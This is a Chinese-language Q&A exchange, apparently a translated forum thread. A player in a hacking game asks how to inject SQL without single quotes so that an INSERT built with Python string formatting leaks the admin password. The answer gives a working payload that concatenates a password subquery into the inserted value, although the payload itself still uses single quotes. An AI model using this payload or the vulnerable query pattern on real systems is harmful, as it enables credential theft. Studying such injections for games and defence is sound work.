有没有办法在不使用单引号'
的情况下进行SQL注入?
我已经查看了很多问题,但它们都是关于单引号转义或它们不包含解决方案(SQL Injection after removing all single-quotes and dash-characters)。
我正在进行黑客游戏,基本上我必须从数据库中提取密码,我试图通过利用此查询来实现:
query = text("INSERT INTO data_table VALUES ([other values], '%s')" % data)
db.engine.execute(query, user=username)
尝试将数据设置为:
'SELECT password FROM users WHERE username="admin" '
我认为这样就应该执行select并将其结果存储为数据(我可以很容易地从网站上读回数据)。
问题在于,当上传进入数据的值时,我无法使用单引号'
(系统显示错误,我必须选择其他值)。
有没有办法在没有单引号的情况下进行类似的注射?
答案 0 :(得分:0)
此SELECT必须作为括在括号中的标量子查询传递。
如果date
简单地与text
连接,则将其设置为
' || (SELECT password FROM users WHERE username='admin') || '
结果
INSERT INTO data_table VALUES ([other values], '' || (SELECT password FROM users WHERE username='admin') || '')
这是有效的SQL连接空字符串和SELECT的结果。现在,DBMS将很乐意执行它: - )